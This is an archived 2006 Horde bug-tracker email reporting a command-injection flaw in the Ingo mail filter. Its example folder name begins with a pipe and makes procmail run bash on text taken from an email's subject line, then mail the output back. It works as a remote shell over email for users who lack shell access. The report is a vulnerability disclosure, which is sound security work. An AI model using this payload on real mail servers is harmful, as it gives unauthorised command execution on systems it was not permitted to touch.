[Tickets #4513] NEW: command execution with procmail
bugs@bugs.horde.org
bugs at bugs.horde.org
Wed Oct 11 04:34:10 PDT 2006
DO NOT REPLY TO THIS MESSAGE. THIS EMAIL ADDRESS IS NOT MONITORED.
Ticket URL: http://bugs.horde.org/ticket/?id=4513
-----------------------------------------------------------------------
Ticket | 4513
Created By | michael.menge at zdv.uni-tuebingen.de
Summary | command execution with procmail
Queue | Ingo
Version | 1.1.1
Type | Bug
State | Unconfirmed
Priority | 3. High
Owners |
-----------------------------------------------------------------------
michael.menge at zdv.uni-tuebingen.de (2006-10-11 04:34) wrote:
It is possible to use a foldername beginning
with | as mailbox destination in a filterrule.
If the users don't have shell acces to the mailserver this rule could be
used to bypass this restriction.
EXCAPMLE:
The Foldername
|formail -rA "X-Loop:hisemailaddres at excample.com" | (
cat - ;myCmd="$MATCH"; echo "Executing: $myCmd" ;
bash -c "$myCmd"
) |$SENDMAIL -oi -t
would result in a prcmail like the following
* ^From:.*hisemailaddres at excample\.com
{
:0
* ^Subject:.*exec_command\/.*$
|formail -rA "X-Loop:hisemailaddres at excample.com" | (
cat -
;
myCmd="$MATCH"; echo "Executing: $myCmd" ; bash -c
"$myCmd"
)
| $SENDMAIL -oi -t
}
More information about the bugs
mailing list